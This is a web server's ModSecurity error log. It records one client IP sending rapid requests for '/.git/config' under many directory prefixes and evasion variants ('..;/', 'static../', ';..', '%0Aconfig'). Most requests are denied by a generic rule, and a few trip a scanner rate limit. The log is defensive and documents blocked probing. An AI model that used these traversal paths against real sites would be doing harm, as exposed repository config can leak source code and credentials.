[Thu Nov 27 04:07:18.677610 2025] [:error] [pid 6203:tid 6275] [client 213.21.239.4:38550] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/..;/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy45gAAAI8"]
[Thu Nov 27 04:07:18.679091 2025] [:error] [pid 6203:tid 6281] [client 213.21.239.4:38424] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/database/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy45wAAAJU"]
[Thu Nov 27 04:07:18.680818 2025] [:error] [pid 6202:tid 6247] [client 213.21.239.4:38426] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.git/config"] [unique_id "aSdd9tJa7NTP0XPyZ6la_wAAAE4"]
[Thu Nov 27 04:07:18.682913 2025] [:error] [pid 6202:tid 6248] [client 213.21.239.4:38452] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/application/.git/config"] [unique_id "aSdd9tJa7NTP0XPyZ6lbAAAAAE8"]
[Thu Nov 27 04:07:18.683597 2025] [:error] [pid 6203:tid 6263] [client 213.21.239.4:38512] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/.git/%0Aconfig"] [unique_id "aSdd9sbdRL7aKyrgqyy46AAAAIM"]
[Thu Nov 27 04:07:18.687563 2025] [:error] [pid 6290:tid 6312] [client 213.21.239.4:38594] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/static../.git/config"] [unique_id "aSdd9oqL4zye-zKr6suHRQAAANI"]
[Thu Nov 27 04:07:18.692375 2025] [:error] [pid 6202:tid 6257] [client 213.21.239.4:38480] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/dev/.git/config"] [unique_id "aSdd9tJa7NTP0XPyZ6lbAgAAAFg"]
[Thu Nov 27 04:07:18.693791 2025] [:error] [pid 6201:tid 6228] [client 213.21.239.4:38458] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/assets../.git/config"] [unique_id "aSdd9jkSJeRkIQGTjzwWsAAAABc"]
[Thu Nov 27 04:07:18.693974 2025] [:error] [pid 6203:tid 6280] [client 213.21.239.4:38522] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/developer/.git/config"] [unique_id "aSdd9sbdRL7aKyrgqyy46gAAAJQ"]
[Thu Nov 27 04:07:18.699480 2025] [:error] [pid 6202:tid 6234] [client 213.21.239.4:38564] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/.git/config;.."] [unique_id "aSdd9tJa7NTP0XPyZ6lbAwAAAEE"]
[Thu Nov 27 04:07:18.699923 2025] [:error] [pid 6202:tid 6243] [client 213.21.239.4:38526] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics../.git/config"] [unique_id "aSdd9tJa7NTP0XPyZ6lbBAAAAEo"]
[Thu Nov 27 04:07:18.700330 2025] [:error] [pid 6201:tid 6214] [client 213.21.239.4:38536] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.git/config"] [unique_id "aSdd9jkSJeRkIQGTjzwWsQAAAAk"]
[Thu Nov 27 04:07:18.700787 2025] [:error] [pid 6202:tid 6252] [client 213.21.239.4:38566] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics/.git/config;"] [unique_id "aSdd9tJa7NTP0XPyZ6lbBgAAAFM"]
[Thu Nov 27 04:07:21.612602 2025] [:error] [pid 6201:tid 6223] [client 213.21.239.4:47226] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/..;/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWswAAABI"]
[Thu Nov 27 04:07:21.616970 2025] [:error] [pid 6201:tid 6211] [client 213.21.239.4:47130] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config;.."] [unique_id "aSdd-TkSJeRkIQGTjzwWtAAAAAY"]
[Thu Nov 27 04:07:21.617097 2025] [:error] [pid 6203:tid 6270] [client 213.21.239.4:47266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/js../.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy49AAAAIo"]
[Thu Nov 27 04:07:21.617264 2025] [:error] [pid 6203:tid 6269] [client 213.21.239.4:47134] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/static../.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy48wAAAIk"]
[Thu Nov 27 04:07:21.619817 2025] [:error] [pid 6203:tid 6266] [client 213.21.239.4:47216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/..;/.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy49QAAAIY"]
[Thu Nov 27 04:07:21.620199 2025] [:error] [pid 6201:tid 6212] [client 213.21.239.4:47184] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au../.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWtQAAAAc"]
[Thu Nov 27 04:07:21.621453 2025] [:error] [pid 6201:tid 6226] [client 213.21.239.4:47308] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/message-api/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWtgAAABU"]
[Thu Nov 27 04:07:21.622959 2025] [:error] [pid 6201:tid 6207] [client 213.21.239.4:47242] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/img../.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWtwAAAAI"]
[Thu Nov 27 04:07:21.622959 2025] [:error] [pid 6203:tid 6279] [client 213.21.239.4:47330] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/images../.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy49gAAAJM"]
[Thu Nov 27 04:07:21.628336 2025] [:error] [pid 6290:tid 6305] [client 213.21.239.4:47234] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config;"] [unique_id "aSdd-YqL4zye-zKr6suHUgAAAMs"]
[Thu Nov 27 04:07:21.631359 2025] [:error] [pid 6203:tid 6262] [client 213.21.239.4:47198] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/;/.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy49wAAAII"]
[Thu Nov 27 04:07:21.632255 2025] [:error] [pid 6201:tid 6220] [client 213.21.239.4:47144] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWuAAAAA8"]
[Thu Nov 27 04:07:21.633983 2025] [:error] [pid 6203:tid 6277] [client 213.21.239.4:47248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/.git/config;"] [unique_id "aSdd-cbdRL7aKyrgqyy4-QAAAJE"]
[Thu Nov 27 04:07:21.636031 2025] [:error] [pid 6203:tid 6276] [client 213.21.239.4:47314] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/;/.git/config"] [unique_id "aSdd-cbdRL7aKyrgqyy4-gAAAJA"]
[Thu Nov 27 04:07:21.636300 2025] [:error] [pid 6201:tid 6210] [client 213.21.239.4:47150] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSdd-TkSJeRkIQGTjzwWuQAAAAU"]
[Thu Nov 27 04:07:21.636829 2025] [:error] [pid 6201:tid 6225] [client 213.21.239.4:47290] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/live/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWugAAABQ"]
[Thu Nov 27 04:07:21.640468 2025] [:error] [pid 6290:tid 6318] [client 213.21.239.4:47174] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/.git/%0Aconfig"] [unique_id "aSdd-YqL4zye-zKr6suHUwAAANg"]
[Thu Nov 27 04:07:21.641591 2025] [:error] [pid 6201:tid 6208] [client 213.21.239.4:47258] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWuwAAAAM"]
[Thu Nov 27 04:07:21.645685 2025] [:error] [pid 6201:tid 6219] [client 213.21.239.4:47286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www.agraphics.com.au/.git/config;.."] [unique_id "aSdd-TkSJeRkIQGTjzwWvAAAAA4"]
[Thu Nov 27 04:07:21.645969 2025] [:error] [pid 6201:tid 6221] [client 213.21.239.4:47210] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/git/.git/config"] [unique_id "aSdd-TkSJeRkIQGTjzwWvQAAABA"]
[Thu Nov 27 04:07:21.645998 2025] [:error] [pid 6290:tid 6316] [client 213.21.239.4:47280] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/lib../.git/config"] [unique_id "aSdd-YqL4zye-zKr6suHVAAAANY"]
[Thu Nov 27 04:07:21.647080 2025] [:error] [pid 6290:tid 6311] [client 213.21.239.4:47320] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/m/.git/config"] [unique_id "aSdd-YqL4zye-zKr6suHVQAAANE"]
[Thu Nov 27 04:07:24.614034 2025] [:error] [pid 6290:tid 6307] [client 213.21.239.4:47406] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au../.git/config"] [unique_id "aSdd_IqL4zye-zKr6suHYwAAAM0"]
[Thu Nov 27 04:07:24.614704 2025] [:error] [pid 6290:tid 6297] [client 213.21.239.4:47334] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/prod/.git/config"] [unique_id "aSdd_IqL4zye-zKr6suHZAAAAMM"]
[Thu Nov 27 04:07:24.615534 2025] [:error] [pid 6203:tid 6276] [client 213.21.239.4:47430] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www../.git/config"] [unique_id "aSdd_MbdRL7aKyrgqyy4_gAAAJA"]
[Thu Nov 27 04:07:24.618709 2025] [:error] [pid 6201:tid 6225] [client 213.21.239.4:47342] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/qa/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWvgAAABQ"]
[Thu Nov 27 04:07:24.620187 2025] [:error] [pid 6202:tid 6237] [client 213.21.239.4:47338] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/public/.git/config"] [unique_id "aSdd_NJa7NTP0XPyZ6lbCQAAAEQ"]
[Thu Nov 27 04:07:24.621784 2025] [:error] [pid 6290:tid 6315] [client 213.21.239.4:47456] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/.git/config;"] [unique_id "aSdd_IqL4zye-zKr6suHZQAAANU"]
[Thu Nov 27 04:07:24.621893 2025] [:error] [pid 6201:tid 6221] [client 213.21.239.4:47512] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/static../.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWvwAAABA"]
[Thu Nov 27 04:07:24.623945 2025] [:error] [pid 6202:tid 6246] [client 213.21.239.4:47356] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/.git/%0Aconfig"] [unique_id "aSdd_NJa7NTP0XPyZ6lbCgAAAE0"]
[Thu Nov 27 04:07:24.624473 2025] [:error] [pid 6290:tid 6312] [client 213.21.239.4:47390] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/.git/%0Aconfig"] [unique_id "aSdd_IqL4zye-zKr6suHZgAAANI"]
[Thu Nov 27 04:07:24.626492 2025] [:error] [pid 6201:tid 6219] [client 213.21.239.4:47448] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/..;/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWwAAAAA4"]
[Thu Nov 27 04:07:24.626723 2025] [:error] [pid 6201:tid 6216] [client 213.21.239.4:47518] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/new/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWwQAAAAs"]
[Thu Nov 27 04:07:24.631393 2025] [:error] [pid 6201:tid 6215] [client 213.21.239.4:47494] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/;/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWwwAAAAo"]
[Thu Nov 27 04:07:24.634084 2025] [:error] [pid 6290:tid 6314] [client 213.21.239.4:47440] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/.git/config"] [unique_id "aSdd_IqL4zye-zKr6suHZwAAANQ"]
[Thu Nov 27 04:07:24.634404 2025] [:error] [pid 6203:tid 6278] [client 213.21.239.4:47422] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/..;/.git/config"] [unique_id "aSdd_MbdRL7aKyrgqyy4_wAAAJI"]
[Thu Nov 27 04:07:24.635793 2025] [:error] [pid 6202:tid 6254] [client 213.21.239.4:47508] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www../config"] [unique_id "aSdd_NJa7NTP0XPyZ6lbCwAAAFU"]
[Thu Nov 27 04:07:24.635948 2025] [:error] [pid 6201:tid 6228] [client 213.21.239.4:47532] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/;/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWxAAAABc"]
[Thu Nov 27 04:07:24.637618 2025] [:error] [pid 6201:tid 6209] [client 213.21.239.4:47480] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/.git/config;.."] [unique_id "aSdd_DkSJeRkIQGTjzwWxQAAAAQ"]
[Thu Nov 27 04:07:24.637784 2025] [:error] [pid 6290:tid 6308] [client 213.21.239.4:47344] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au/config"] [unique_id "aSdd_IqL4zye-zKr6suHaQAAAM4"]
[Thu Nov 27 04:07:24.640848 2025] [:error] [pid 6201:tid 6214] [client 213.21.239.4:47544] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/.git/config"] [unique_id "aSdd_DkSJeRkIQGTjzwWxgAAAAk"]
[Thu Nov 27 04:07:24.645182 2025] [:error] [pid 6201:tid 6218] [client 213.21.239.4:47552] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/.git/config;"] [unique_id "aSdd_DkSJeRkIQGTjzwWxwAAAA0"]
[Thu Nov 27 04:07:24.653830 2025] [:error] [pid 6202:tid 6233] [client 213.21.239.4:47556] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/www/.git/config;.."] [unique_id "aSdd_NJa7NTP0XPyZ6lbDAAAAEA"]
